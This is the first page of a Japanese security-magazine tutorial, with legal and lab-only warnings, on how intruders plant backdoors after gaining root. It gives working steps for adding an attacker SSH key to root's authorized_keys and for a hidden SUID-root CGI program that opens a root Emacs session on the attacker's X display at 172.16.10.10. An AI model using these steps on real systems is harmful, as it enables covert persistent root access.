連載
» 2002年12月25日 00時00分 UPDATE

不正侵入の手口と対策(4):攻撃者が侵入後に行うバックドアの設置例 (1/2)

[木村靖,三井物産セキュアディレクション株式会社]
※ご注意
他社および他組織のWebサイトなどへのポートスキャンおよびデータの取得などの行為で得た情報を侵入などに悪用するか、または同じ目的を持つ第三者に提供した時点で違法となります。ご注意ください。
本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。
また、本稿を利用した行為による問題に関しましては、筆者および株式会社アットマーク・アイティは一切責任を負いかねます。ご了承ください。

 「第3回 侵入者の攻撃手法とその対策」では、対象サーバ内への侵入に成功した。本稿では、攻撃者が侵入後によく行う、バックドアを仕掛ける手法について説明する。

バックドアとは

 対象サーバへの侵入に成功した攻撃者は、対象サーバ上でさまざまな不正行為を行うだろう。そして、その不正行為の目的によっては、対象サーバに何度も侵入する必要があるかもしれない。そういったときに攻撃者がよく行うのが、対象サーバにバックドアトロイの木馬ともいわれる)を仕掛けるという行為だ。

 バックドアとは、一度侵入に成功した攻撃者が、後から何度も侵入するために仕掛けておく秘密の入り口のことを指す。バックドアを仕掛けておくことで、たとえ侵入時に利用した脆弱性を使えなくされたとしても、攻撃者は自らが知り得る秘密の入り口から容易に侵入することができる。

バックドアの種類

 バックドアを実現するためには、大きく分けて2つの方法がある。1つは対象サーバ上の既存コマンドを駆使する方法、もう1つがバックドア専用となるプログラムを使用する方法だ。

  • 既存コマンドを駆使する
    対象サーバ上に存在するコマンドやツールを駆使してバックドアを作る。もちろん使用するコマンドやツールは、本来このような目的で使われるものではないが、使い方1つでバックドアとして利用されてしまう。
  • バックドア用のツールを使う
    攻撃者自身が作成するというケースも考えられるが、ほとんどの場合が既存のバックドアプログラムを使う。よく知られているものとしては、rootkit、Subseven、Back Orificeなどが挙げられる。これらのツールには、侵入可能な秘密の入り口を設置するだけでなく、特定のファイルやプロセスを隠ぺいする機能なども含まれており、より強力である。

バックドアを仕掛ける

 本稿で紹介する攻撃対象サーバへの外部からのアクセスは、特定ポート(22/tcp、25/tcp、53/tcp、53/udp、80/tcp、443/tcp)のみに限定されている。そのためバックドアを仕掛けて外部から侵入するためには、まず、それらのポート(サービス)を利用したバックドアを仕掛ける必要がある。ここでは、22/tcp(ssh)と80/tcp(http)に着目し、サーバ管理者に気付かれにくいバックドアの設置例を紹介する。

 なお、バックドアを仕掛ける対象サーバには、前回で紹介した脆弱性により侵入し、そして内部からの攻撃で管理者特権(root)を奪った状態を想定している。

※注意
本稿で紹介するバックドアを検証する場合は、必ず閉じたネットワーク環境下で、再インストール可能な検証マシン上で行ってほしい。

22/tcp(ssh)へのバックドア

 対象サーバの22/tcpでは、OpenSSHが利用されている。OpenSSHは、SSH(Secure Shell)プロトコルを実装した、本来であればリモートから対象サーバへの安全なログインを提供するためのツールだ。

 OpenSSHを使用して、リモートから対象サーバにログインするためには、対象サーバのユーザーアカウントとパスワード(あるいは認証鍵)が必要になる。ここで紹介する手法も、対象サーバ上のユーザーアカウントと認証鍵を用いたログインを行う。つまり見掛け上は、OpenSSHによる正規のアクセスと全く同じことを行うバックドアを仕掛ける。

(1) ユーザーアカウントの入手

 ユーザーアカウントについては、手っ取り早く管理者特権のrootを使用する。ただし、もし対象サーバのOpenSSHでrootログインを禁止(/etc/ssh/sshd_configファイルにおいてPermitRootLogin noが指定)されていた場合は、許可(PermitRootLogin yes)するように設定を変更する必要がある。変更後は、OpenSSHのデーモンプロセス(sshd)をリロード(kill -HUP)する。以下はRedHat Linux 7.3の場合を示す。

# service sshd restart

 なお、Red Hat Linux 7.3のデフォルト値では設定を変更する必要はない。

(2) DSA(RSA)認証鍵を作る(攻撃者側の準備)

 本稿ではパスワードによるログインは行わずに、DSARSA)認証を使用したログインを行う。その大きな理由として、従来のパスワードを変更した場合には、そのユーザーアカウントの本来の利用者に気付かれてしまう可能性が高くなるからだ。DSA(RSA)認証を使えば、ユーザーアカウントのパスワードを知らずとも、対象サーバにログインすることができる。

 デフォルトで用意されているDSA(RSA)認証*1を使うためには、攻撃者の環境にて、OpenSSHのDSA(RSA)認証鍵を作る必要がある。もちろん認証鍵がすでにある場合は、それをそのまま使えばよい。

*1
もし、対象サーバのOpenSSHでDSA(RSA)認証が無効になっていた場合、 /etc/ssh/sshd_configに「RSAAuthentication yes」を設定する必要がある。なお、Red Hat Linux 7.3のデフォルト値では、その必要はない。

 DSA(RSA)認証鍵を作るためには、OpenSSHのssh-keygenコマンドを実行する。オプションの-t dsaを指定するとDSA認証鍵が生成され、-t rsaを指定するか省略するとRSA認証鍵が生成される。以下ではDSA認証鍵を生成している。

% ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/home/kimu/.ssh/id_dsa):
Created directory '/home/kimu/.ssh'.
Enter passphrase (empty for no passphrase): 秘密鍵のパスフレーズを入力
Enter same passphrase again: もう一度同じパスフレーズを入力
Your identification has been saved in /home/kimu/.ssh/id_dsa.
Your public key has been saved in /home/kimu/.ssh/id_dsa.pub.
The key fingerprint is:
8e:27:36:5e: ...途中省略... :39:62:14:64 kimu@crack.invalid

 lsコマンドで、ホームディレクトリ(ここでは/home/kimu)以下の.sshディレクトリ下に、秘密鍵のid_dsaと公開鍵のid_dsa.pub(RSA認証の場合はid_rsa, id_rsa.pub)ファイルが生成されたことを確認できる。

% ls -al .ssh/
total 8
drwx------ 2 kimu wheel 512 Dec 8 03:22 .
drwxr-xr-x 4 kimu wheel 512 Dec 8 03:22 ..
-rw------- 1 kimu wheel 736 Dec 8 03:22 id_dsa
-rw-r--r-- 1 kimu wheel 609 Dec 8 03:22 id_dsa.pub

 出来上がった公開鍵のid_dsa.pub(RSA認証はid_rsa.pub)を攻撃対象サーバに置く。

# cd ~root
# mkdir .ssh (.sshディレクトリがなければ実行)
# cd .ssh
# cat <<EOF > authorized_keys
> ssh-dss AAAAB3NzaC ...途中省略... rIxkd0Xg== kimu@crack.invalid
> EOF

 攻撃者のid_dsa.pubを、対象サーバ上のrootのホームディレクトリ(/root)の.sshディレクトリ下のauthorized_keysファイルとして保存する。保存(作成)する方法は、ターミナル上でviやEmacsなどのエディタを使ってもよいが、ここでは数行程度なので手軽に行えるcatコマンドを使うことにした。 これは、catコマンドの <<EOFで指定された場所から、次のEOFが現れるまでの標準入力の内容をauthorized_keysファイルに書き込んでいる。

 なお、すでにauthorized_keysが存在した場合は、「cat <<EOF > authorized_keys」ではなく「cat <<EOF >> authorized_keys」として実行すればよい。

(3) 対象サーバにSSHログイン(バックドアの確認)

 一連の下準備が完了したら、攻撃者の環境よりsshかsloginコマンドを使って、対象サーバにログインしてみる。

% ssh -l root 192.168.0.10
The authenticity of host '192.168.0.10 (192.168.0.10)' can't be established.
RSA key fingerprint is 42:85:f1:62:7b:29:54:d7:fc:22:bd:d6:8b:62:bb:35.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.10' (RSA) to the list of known hosts.
Enter passphrase for key '/home/kimu/.ssh/id_dsa': 秘密鍵のパスフレーズを入力
Last login: Sat Oct 5 13:38:54 2002

[root@www root]#
[root@www root]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


 ログイン後、上記のようにコマンドプロンプトが返ってきたら成功だ。また、idコマンドを実行して、現在のユーザー(uid)がrootであることも確認できる。

80/tcp(http)、443/tcp(https)へのバックドア

 対象サーバの80/tcpと443/tcpでは、Web(HTTP)サーバのApacheが利用されているが、ApacheではCGI(Common Gateway Interface)と呼ばれる機能が実装されている。CGIは、対象Webサーバ上でプログラムを実行し、その結果をクライアント(ブラウザ)に返すことを目的とした仕組みで、これはApacheに限らずほとんどのWebサーバでも実装されている。本稿では、そのCGIを利用したプログラムを作成し、バックドアとして利用する。

(1) バックドアCGIプログラムを作成する

 最初にバックドアとなるCGIプログラム本体を作成する。作成するCGIプログラムの内容は、以下のとおり数行程度のC言語のプログラムだ。

#include <stdlib.h>
main () {
printf("Content-Type: text/html\n\n");
setuid(0);
system("emacs -display 172.16.10.10:0.0");
}

 このCGIプログラムは、対象サーバ上でEmacsを実行し、その画面を攻撃者(172.16.10.10)のX Window上に表示させるというものだ(前回の手法と同じ)。

 注目するのはsetuid(0)の部分で、この関数を使うと現在実行中のプロセスを、指定したUID(ユーザーID)の権限に移行することができる。setuid(0)は、UIDが0のユーザー権限、つまり管理者特権(root)の取得を意味している。そしてsetuid(0)以降に実行される内容、つまりemacsコマンドはroot権限として実行される。

 プログラムファイルの作成は、先述のcatコマンドを使用する。

# cd /var/www/cgi-bin
# cat <<EOF > .exploit.c
> #include <stdlib.h>
> main () {
> printf("Content-Type: text/html\n\n");
> setuid(0);
> system("emacs -display 172.16.10.10:0.0");
> }
> EOF

 上記では、/var/www/cgi-binに移り、catコマンドで.exploit.c*2というファイルを生成している。

 なお、/var/www/cgi-binは、このApacheのデフォルトでCGIプログラムが動作するディレクトリで、URLからはhttp://192.168.0.10/cgi-bin/ (あるいはhttps://192.168.0.10/cgi-bin/)としてアクセスすることができる。

*2
ファイルの先頭にドット(.)を付けたのは、サーバ管理者に気付かれにくくするためだ。なぜなら、ほとんどのUNIXファイルシステムでは、ファイルの先頭がドットであった場合、それらは設定ファイルとして扱われ、例えば単にlsコマンドを実行しただけでは画面上に表示されないからだ。もし、表示したい場合は、-aオプションを付ける必要がある(ls-alなど)。

(2) コンパイルとSUID(setuid) root

 次に、.exploit.cから実行形式のバイナリファイルを生成する。以下ではgccコマンドを使い、/var/www/cgi-bin以下に.exploitという実行形式のファイルを生成している。なお、.exploit作成後、.exploit.cは不要なのでrmコマンドで削除した。

# gcc -o .exploit .exploit.c
# rm -f .exploit.c

 バックドアCGIプログラムの.exploitを生成したら、このプログラムの所有者がrootであることを確認して、さらに所有者実行権限にSUIDをセットする。

# ls -l .exploit
-rwxr-xr-x 1 root root 13847 Dec 12 23:10 .exploit
# chmod u+s .exploit
# ls -l .exploit
-rwsr-xr-x 1 root root 13847 Dec 12 23:10 .exploit

 左端の所有者の実行権限を示す個所が、xからsに変わったことが分かる。これで、このプログラムを実行する際に、所有者rootの権限としてプログラムを実行することが可能になった。

※コラム 〜 SUID(setuid) root 〜

UNIXのセキュリティを語るうえで、SUID(setuid) rootの話は必ずといっていいほど出てくるが、そもそもSUID rootとは一体何を意味するのだろうか?

UNIXにおいてプログラム(コマンド)が実行される場合は、通常そのプログラムを実行したユーザーの権限で実行される。この仕組みは、ほとんどのプログラムにおいて問題ないのだが、実行するプログラムによっては、ある部分でどうしても管理者特権(root)が必要になる場合がある。そういったときに利用されるのがSUID rootの仕組みだ。

SUID(setuid)は、プログラムを実行したユーザーの権限ではなく、プログラムファイルの所有者の権限での実行を可能にする機能で、SUID rootとは、文字どおりファイル所有者のroot権限でプログラムが実行されることを意味している。

SUID rootのプログラムとしては、例えばpasswdコマンドがそうで、権限を持たないユーザーが/etc/passwdや/etc/shadowといったroot権限のファイルを読み書きできるのは、passwdコマンドがSUID rootとされているからである。

% ls -l /usr/bin/passwd
-r-sr-xr-x 2 root wheel 17800 Sep 9 04:30 /usr/bin/passwd*


(3) バックドアCGIプログラムを実行する (確認)

 バックドアの確認は、ブラウザから「http://192.168.0.10/cgi-bin/.exploit」を実行する。正しく動作すれば、前回と同様に攻撃者のX Window上にEmacsの画面が表示される(画面1)。なお、前回の侵入時と異なるのは、今回のEmacsはroot権限で実行されているという違いがある。

画面1 Emacsの実行結果(拡大) 画面1 Emacsの実行結果拡大

 もし、このCGIプログラム自体がSUID rootされていない場合は、setuid(0)が失敗に終わるため、EmacsはWebサーバの実効権限である、ユーザーapacheの権限で実行されることになる。

       1|2 次のページへ

Copyright© 2017 ITmedia, Inc. All Rights Reserved.

@IT Special

- PR -

TechTargetジャパン

この記事に関連するホワイトペーパー

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。